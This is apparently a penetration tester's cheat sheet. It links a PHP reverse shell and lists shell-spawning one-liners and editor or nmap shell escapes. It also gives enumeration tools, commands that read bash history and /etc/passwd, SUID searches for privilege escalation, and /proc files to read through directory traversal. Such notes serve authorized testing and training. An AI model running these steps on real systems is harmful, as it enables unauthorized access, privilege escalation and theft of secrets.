Fresh install of Arch

Revers shell

Python

https://docs.j7k6.org/wordpress-malicious-plugin-reverse-shell-metasploit/

Shell

https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php

Spawn tty

https://netsec.ws/?p=337

python -c 'import pty; pty.spawn("/bin/sh")'
language-noneCopy

echo os.system('/bin/bash')
language-zsh bashCopy

/bin/sh -i
language-zsh bashCopy

perl —e 'exec "/bin/sh";'
language-zsh bashCopy

perl: exec "/bin/sh";
language-zsh bashCopy

ruby: exec "/bin/sh"
language-zsh bashCopy

lua: os.execute('/bin/sh')
language-zsh bashCopy

(From within IRB)
language-zsh bashCopy

exec "/bin/sh"
language-zsh bashCopy

(From within vi)
language-zsh bashCopy

:!bash
language-zsh bashCopy

(From within vi)
language-zsh bashCopy

:set shell=/bin/bash:shell
language-zsh bashCopy

(From within nmap)
language-zsh bashCopy

!sh
language-zsh bashCopy

Python server

python -m SimpleHTTPServer 80
language-zsh bashCopy

Enumeration

running process

https://github.com/DominicBreuker/pspy/releases/tag/v1.2.0

linenum

https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

Unix privesc

https://pentestmonkey.net/tools/audit/unix-privesc-check

Linprivchecker.py

https://github.com/reider-roque/linpostexp/blob/master/linprivchecker.py

Websites

‘https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_-_linux.html'

Commands

cat /home/*/.bash_his*   
cat /etc/passwd
language-zsh bashCopy

Privesc

sudo -l
language-zsh bashCopy

find / -perm -u=s -type f 2>/dev/null
language-zsh bashCopy

find / -user root -perm -4000 -print 2>/dev/null
language-zsh bashCopy

find / -user root -perm -4000 -exec ls -ldb {} \;
language-zsh bashCopy

find . -perm /4000 
find . -perm /2000 
find . -perm /6000 
language-zsh bashCopy

directory traversal

https://www.netspi.com/blog/technical/web-application-penetration-testing/directory-traversal-file-inclusion-proc-file-system/

/proc/sched_debug
language-zsh bashCopy

/proc/mounts
language-zsh bashCopy

/proc/net/arp
language-zsh bashCopy

/proc/net/route
language-zsh bashCopy

/proc/net/tcp and /proc/net/udp
language-zsh bashCopy

/proc/net/fib_trie
language-zsh bashCopy

/proc/version
language-zsh bashCopy

/proc/[PID]/cmdline
language-zsh bashCopy

/proc/[PID]/environ
language-zsh bashCopy

/proc/[PID]/cwd
language-zsh bashCopy

/proc/[PID]/fd/[#]
language-zsh bashCopy